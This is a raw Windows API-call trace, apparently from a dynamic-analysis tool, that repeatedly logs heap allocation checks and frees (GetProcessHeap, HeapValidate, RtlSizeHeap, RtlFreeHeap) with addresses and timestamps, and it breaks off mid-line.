[0123.507] GetProcessHeap () returned 0x23fabff0000 [0123.507] GetProcessHeap () returned 0x23fabff0000 [0123.507] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb870) returned 1 [0123.507] GetProcessHeap () returned 0x23fabff0000 [0123.507] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb870) returned 0x20 [0123.507] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb870) returned 1 [0123.507] GetProcessHeap () returned 0x23fabff0000 [0123.507] GetProcessHeap () returned 0x23fabff0000 [0123.507] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3f00) returned 1 [0123.507] GetProcessHeap () returned 0x23fabff0000 [0123.507] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff3f00) returned 0xa0 [0123.508] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff3f00) returned 1 [0123.508] GetProcessHeap () returned 0x23fabff0000 [0123.508] GetProcessHeap () returned 0x23fabff0000 [0123.508] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3ee0) returned 1 [0123.508] GetProcessHeap () returned 0x23fabff0000 [0123.508] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff3ee0) returned 0x18 [0123.508] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff3ee0) returned 1 [0123.508] GetProcessHeap () returned 0x23fabff0000 [0123.508] GetProcessHeap () returned 0x23fabff0000 [0123.508] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffba80) returned 1 [0123.509] GetProcessHeap () returned 0x23fabff0000 [0123.509] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffba80) returned 0x20 [0123.509] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffba80) returned 1 [0123.509] GetProcessHeap () returned 0x23fabff0000 [0123.509] GetProcessHeap () returned 0x23fabff0000 [0123.509] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3ba0) returned 1 [0123.509] GetProcessHeap () returned 0x23fabff0000 [0123.509] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff3ba0) returned 0x9a [0123.510] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff3ba0) returned 1 [0123.510] GetProcessHeap () returned 0x23fabff0000 [0123.510] GetProcessHeap () returned 0x23fabff0000 [0123.510] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffa990) returned 1 [0123.510] GetProcessHeap () returned 0x23fabff0000 [0123.510] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffa990) returned 0x18 [0123.510] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffa990) returned 1 [0123.511] GetProcessHeap () returned 0x23fabff0000 [0123.511] GetProcessHeap () returned 0x23fabff0000 [0123.511] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb570) returned 1 [0123.511] GetProcessHeap () returned 0x23fabff0000 [0123.511] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb570) returned 0x20 [0123.511] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb570) returned 1 [0123.512] GetProcessHeap () returned 0x23fabff0000 [0123.512] GetProcessHeap () returned 0x23fabff0000 [0123.512] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff42e0) returned 1 [0123.512] GetProcessHeap () returned 0x23fabff0000 [0123.512] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff42e0) returned 0x9c [0123.513] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff42e0) returned 1 [0123.513] GetProcessHeap () returned 0x23fabff0000 [0123.513] GetProcessHeap () returned 0x23fabff0000 [0123.513] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffacb0) returned 1 [0123.513] GetProcessHeap () returned 0x23fabff0000 [0123.513] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffacb0) returned 0x18 [0123.513] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffacb0) returned 1 [0123.513] GetProcessHeap () returned 0x23fabff0000 [0123.514] GetProcessHeap () returned 0x23fabff0000 [0123.514] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffbb40) returned 1 [0123.514] GetProcessHeap () returned 0x23fabff0000 [0123.514] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffbb40) returned 0x20 [0123.514] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffbb40) returned 1 [0123.514] GetProcessHeap () returned 0x23fabff0000 [0123.514] GetProcessHeap () returned 0x23fabff0000 [0123.514] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffabd0) returned 1 [0123.514] GetProcessHeap () returned 0x23fabff0000 [0123.515] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffabd0) returned 0xe [0123.515] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffabd0) returned 1 [0123.515] GetProcessHeap () returned 0x23fabff0000 [0123.515] GetProcessHeap () returned 0x23fabff0000 [0123.515] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffac10) returned 1 [0123.515] GetProcessHeap () returned 0x23fabff0000 [0123.515] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffac10) returned 0x18 [0123.515] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffac10) returned 1 [0123.515] GetProcessHeap () returned 0x23fabff0000 [0123.515] GetProcessHeap () returned 0x23fabff0000 [0123.515] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff91b0) returned 1 [0123.516] GetProcessHeap () returned 0x23fabff0000 [0123.516] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff91b0) returned 0x20 [0123.516] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff91b0) returned 1 [0123.516] GetProcessHeap () returned 0x23fabff0000 [0123.516] GetProcessHeap () returned 0x23fabff0000 [0123.516] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9b80) returned 1 [0123.516] GetProcessHeap () returned 0x23fabff0000 [0123.516] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9b80) returned 0x208 [0123.517] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9b80) returned 1 [0123.517] GetProcessHeap () returned 0x23fabff0000 [0123.517] GetProcessHeap () returned 0x23fabff0000 [0123.517] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff40c0) returned 1 [0123.517] GetProcessHeap () returned 0x23fabff0000 [0123.517] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff40c0) returned 0x18 [0123.517] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff40c0) returned 1 [0123.518] GetProcessHeap () returned 0x23fabff0000 [0123.518] GetProcessHeap () returned 0x23fabff0000 [0123.518] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff90c0) returned 1 [0123.518] GetProcessHeap () returned 0x23fabff0000 [0123.518] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff90c0) returned 0x20 [0123.518] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff90c0) returned 1 [0123.518] GetProcessHeap () returned 0x23fabff0000 [0123.518] GetProcessHeap () returned 0x23fabff0000 [0123.518] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffbbb0) returned 1 [0123.519] GetProcessHeap () returned 0x23fabff0000 [0123.519] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffbbb0) returned 0x200 [0123.519] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffbbb0) returned 1 [0123.519] GetProcessHeap () returned 0x23fabff0000 [0123.519] GetProcessHeap () returned 0x23fabff0000 [0123.519] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3fb0) returned 1 [0123.519] GetProcessHeap () returned 0x23fabff0000 [0123.519] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff3fb0) returned 0x18 [0123.519] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff3fb0) returned 1 [0123.520] GetProcessHeap () returned 0x23fabff0000 [0123.520] GetProcessHeap () returned 0x23fabff0000 [0123.520] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9060) returned 1 [0123.520] GetProcessHeap () returned 0x23fabff0000 [0123.520] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9060) returned 0x20 [0123.520] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9060) returned 1 [0123.520] GetProcessHeap () returned 0x23fabff0000 [0123.520] GetProcessHeap () returned 0x23fabff0000 [0123.521] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffab50) returned 1 [0123.521] GetProcessHeap () returned 0x23fabff0000 [0123.521] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffab50) returned 0x14 [0123.521] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffab50) returned 1 [0123.521] GetProcessHeap () returned 0x23fabff0000 [0123.521] GetProcessHeap () returned 0x23fabff0000 [0123.521] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffac90) returned 1 [0123.521] GetProcessHeap () returned 0x23fabff0000 [0123.521] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffac90) returned 0x18 [0123.521] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffac90) returned 1 [0123.521] GetProcessHeap () returned 0x23fabff0000 [0123.521] GetProcessHeap () returned 0x23fabff0000 [0123.521] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff8ee0) returned 1 [0123.521] GetProcessHeap () returned 0x23fabff0000 [0123.522] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff8ee0) returned 0x20 [0123.522] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff8ee0) returned 1 [0123.522] GetProcessHeap () returned 0x23fabff0000 [0123.522] GetProcessHeap () returned 0x23fabff0000 [0123.522] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3950) returned 1 [0123.522] GetProcessHeap () returned 0x23fabff0000 [0123.522] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff3950) returned 0x16 [0123.522] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff3950) returned 1 [0123.523] GetProcessHeap () returned 0x23fabff0000 [0123.523] GetProcessHeap () returned 0x23fabff0000 [0123.523] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3930) returned 1 [0123.523] GetProcessHeap () returned 0x23fabff0000 [0123.523] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff3930) returned 0x18 [0123.523] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff3930) returned 1 [0123.523] GetProcessHeap () returned 0x23fabff0000 [0123.523] GetProcessHeap () returned 0x23fabff0000 [0123.523] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9150) returned 1 [0123.523] GetProcessHeap () returned 0x23fabff0000 [0123.523] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9150) returned 0x20 [0123.524] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9150) returned 1 [0123.524] GetProcessHeap () returned 0x23fabff0000 [0123.524] GetProcessHeap () returned 0x23fabff0000 [0123.524] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4f30) returned 1 [0123.524] GetProcessHeap () returned 0x23fabff0000 [0123.524] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4f30) returned 0x2 [0123.524] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4f30) returned 1 [0123.524] GetProcessHeap () returned 0x23fabff0000 [0123.524] GetProcessHeap () returned 0x23fabff0000 [0123.524] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4440) returned 1 [0123.524] GetProcessHeap () returned 0x23fabff0000 [0123.524] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4440) returned 0x20 [0123.525] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4440) returned 1 [0123.525] GetProcessHeap () returned 0x23fabff0000 [0123.525] GetProcessHeap () returned 0x23fabff0000 [0123.525] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4490) returned 1 [0123.525] GetProcessHeap () returned 0x23fabff0000 [0123.525] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4490) returned 0x20 [0123.526] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4490) returned 1 [0123.526] GetProcessHeap () returned 0x23fabff0000 [0123.526] GetProcessHeap () returned 0x23fabff0000 [0123.526] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff44c0) returned 1 [0123.526] GetProcessHeap () returned 0x23fabff0000 [0123.526] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff44c0) returned 0x20 [0123.526] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff44c0) returned 1 [0123.527] GetProcessHeap () returned 0x23fabff0000 [0123.527] GetProcessHeap () returned 0x23fabff0000 [0123.527] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9000) returned 1 [0123.527] GetProcessHeap () returned 0x23fabff0000 [0123.527] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9000) returned 0x20 [0123.527] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9000) returned 1 [0123.527] GetProcessHeap () returned 0x23fabff0000 [0123.527] GetProcessHeap () returned 0x23fabff0000 [0123.527] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb630) returned 1 [0123.528] GetProcessHeap () returned 0x23fabff0000 [0123.528] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb630) returned 0x20 [0123.528] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb630) returned 1 [0123.528] GetProcessHeap () returned 0x23fabff0000 [0123.528] GetProcessHeap () returned 0x23fabff0000 [0123.528] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffabf0) returned 1 [0123.528] GetProcessHeap () returned 0x23fabff0000 [0123.528] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffabf0) returned 0xc [0123.528] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffabf0) returned 1 [0123.529] GetProcessHeap () returned 0x23fabff0000 [0123.529] GetProcessHeap () returned 0x23fabff0000 [0123.529] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb4e0) returned 1 [0123.529] GetProcessHeap () returned 0x23fabff0000 [0123.529] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb4e0) returned 0x20 [0123.529] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb4e0) returned 1 [0123.529] GetProcessHeap () returned 0x23fabff0000 [0123.530] GetProcessHeap () returned 0x23fabff0000 [0123.530] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff38f0) returned 1 [0123.530] GetProcessHeap () returned 0x23fabff0000 [0123.530] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff38f0) returned 0x30 [0123.530] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff38f0) returned 1 [0123.530] GetProcessHeap () returned 0x23fabff0000 [0123.530] GetProcessHeap () returned 0x23fabff0000 [0123.530] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffbb10) returned 1 [0123.530] GetProcessHeap () returned 0x23fabff0000 [0123.531] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffbb10) returned 0x20 [0123.531] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffbb10) returned 1 [0123.531] GetProcessHeap () returned 0x23fabff0000 [0123.531] GetProcessHeap () returned 0x23fabff0000 [0123.531] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4390) returned 1 [0123.531] GetProcessHeap () returned 0x23fabff0000 [0123.531] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4390) returned 0x30 [0123.531] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4390) returned 1 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb690) returned 1 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb690) returned 0x20 [0123.532] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb690) returned 1 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffa9f0) returned 1 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffa9f0) returned 0x16 [0123.532] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffa9f0) returned 1 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb660) returned 1 [0123.532] GetProcessHeap () returned 0x23fabff0000 [0123.532] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb660) returned 0x20 [0123.533] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb660) returned 1 [0123.533] GetProcessHeap () returned 0x23fabff0000 [0123.533] GetProcessHeap () returned 0x23fabff0000 [0123.533] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffac30) returned 1 [0123.533] GetProcessHeap () returned 0x23fabff0000 [0123.533] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffac30) returned 0x16 [0123.533] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffac30) returned 1 [0123.533] GetProcessHeap () returned 0x23fabff0000 [0123.533] GetProcessHeap () returned 0x23fabff0000 [0123.533] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb6c0) returned 1 [0123.533] GetProcessHeap () returned 0x23fabff0000 [0123.533] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb6c0) returned 0x20 [0123.533] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb6c0) returned 1 [0123.534] GetProcessHeap () returned 0x23fabff0000 [0123.534] GetProcessHeap () returned 0x23fabff0000 [0123.534] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fac015b50) returned 1 [0123.534] GetProcessHeap () returned 0x23fabff0000 [0123.534] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fac015b50) returned 0x82 [0123.534] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fac015b50) returned 1 [0123.534] GetProcessHeap () returned 0x23fabff0000 [0123.534] GetProcessHeap () returned 0x23fabff0000 [0123.534] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb840) returned 1 [0123.534] GetProcessHeap () returned 0x23fabff0000 [0123.534] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb840) returned 0x20 [0123.534] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb840) returned 1 [0123.534] GetProcessHeap () returned 0x23fabff0000 [0123.535] GetProcessHeap () returned 0x23fabff0000 [0123.535] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffabb0) returned 1 [0123.535] GetProcessHeap () returned 0x23fabff0000 [0123.535] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffabb0) returned 0xe [0123.535] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffabb0) returned 1 [0123.535] GetProcessHeap () returned 0x23fabff0000 [0123.535] GetProcessHeap () returned 0x23fabff0000 [0123.535] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffbb70) returned 1 [0123.535] GetProcessHeap () returned 0x23fabff0000 [0123.535] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffbb70) returned 0x20 [0123.535] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffbb70) returned 1 [0123.535] GetProcessHeap () returned 0x23fabff0000 [0123.535] GetProcessHeap () returned 0x23fabff0000 [0123.535] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffab90) returned 1 [0123.535] GetProcessHeap () returned 0x23fabff0000 [0123.535] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffab90) returned 0xc [0123.535] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffab90) returned 1 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb3f0) returned 1 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb3f0) returned 0x20 [0123.536] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb3f0) returned 1 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffab70) returned 1 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffab70) returned 0xe [0123.536] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffab70) returned 1 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb6f0) returned 1 [0123.536] GetProcessHeap () returned 0x23fabff0000 [0123.536] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb6f0) returned 0x20 [0123.537] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb6f0) returned 1 [0123.537] GetProcessHeap () returned 0x23fabff0000 [0123.537] GetProcessHeap () returned 0x23fabff0000 [0123.537] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffaad0) returned 1 [0123.537] GetProcessHeap () returned 0x23fabff0000 [0123.537] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffaad0) returned 0x10 [0123.537] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffaad0) returned 1 [0123.537] GetProcessHeap () returned 0x23fabff0000 [0123.537] GetProcessHeap () returned 0x23fabff0000 [0123.537] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb420) returned 1 [0123.537] GetProcessHeap () returned 0x23fabff0000 [0123.537] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb420) returned 0x20 [0123.538] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb420) returned 1 [0123.538] GetProcessHeap () returned 0x23fabff0000 [0123.538] GetProcessHeap () returned 0x23fabff0000 [0123.538] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4470) returned 1 [0123.538] GetProcessHeap () returned 0x23fabff0000 [0123.538] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4470) returned 0x18 [0123.538] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4470) returned 1 [0123.538] GetProcessHeap () returned 0x23fabff0000 [0123.538] GetProcessHeap () returned 0x23fabff0000 [0123.538] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9240) returned 1 [0123.538] GetProcessHeap () returned 0x23fabff0000 [0123.538] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9240) returned 0x20 [0123.539] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9240) returned 1 [0123.539] GetProcessHeap () returned 0x23fabff0000 [0123.539] GetProcessHeap () returned 0x23fabff0000 [0123.539] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff8fd0) returned 1 [0123.539] GetProcessHeap () returned 0x23fabff0000 [0123.539] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff8fd0) returned 0x20 [0123.539] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff8fd0) returned 1 [0123.539] GetProcessHeap () returned 0x23fabff0000 [0123.539] GetProcessHeap () returned 0x23fabff0000 [0123.539] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff91e0) returned 1 [0123.539] GetProcessHeap () returned 0x23fabff0000 [0123.539] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff91e0) returned 0x20 [0123.540] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff91e0) returned 1 [0123.540] GetProcessHeap () returned 0x23fabff0000 [0123.540] GetProcessHeap () returned 0x23fabff0000 [0123.540] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff8f10) returned 1 [0123.540] GetProcessHeap () returned 0x23fabff0000 [0123.540] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff8f10) returned 0x20 [0123.540] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff8f10) returned 1 [0123.540] GetProcessHeap () returned 0x23fabff0000 [0123.540] GetProcessHeap () returned 0x23fabff0000 [0123.540] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4030) returned 1 [0123.540] GetProcessHeap () returned 0x23fabff0000 [0123.540] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4030) returned 0x18 [0123.541] 